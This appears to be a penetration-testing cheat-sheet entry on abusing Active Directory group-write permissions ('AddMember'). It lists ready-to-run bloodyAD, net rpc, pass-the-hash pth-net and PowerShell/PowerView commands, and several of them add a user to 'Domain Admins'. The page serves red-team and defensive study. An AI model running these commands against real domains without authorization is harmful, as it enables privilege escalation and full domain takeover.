AddMember

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.

Linux

Alternative #1: using bloodyAD

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember $TargetGroup 
bloodyAD --host 10.1.1.1 -d test-dom -u privilegedUser -p 'Passw0rd!' add groupMember 'New_Secret_Group' myUser

## Verify
bloodyAD --host 10.1.1.1 -d test-dom -u privilegedUser -p 'Passw0rd!' get membership myUser | grep sAMA

Alternative #2: using net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.

# With net and cleartext credentials (will be prompted)
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController

# With net and cleartext credentials
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController

# With Pass-the-Hash
pth-net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController

Windows

The attacker can add a user/group/computer to a group. This can be achieved with a native command line, with the Active Directory PowerShell module, or with Add-DomainGroupMember (PowerView module).

# Command line
net group 'Domain Admins' 'user' /add /domain

# Powershell: Active Directory module
Add-ADGroupMember -Identity 'Domain Admins' -Members 'user'

# Powershell: PowerSploit module
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'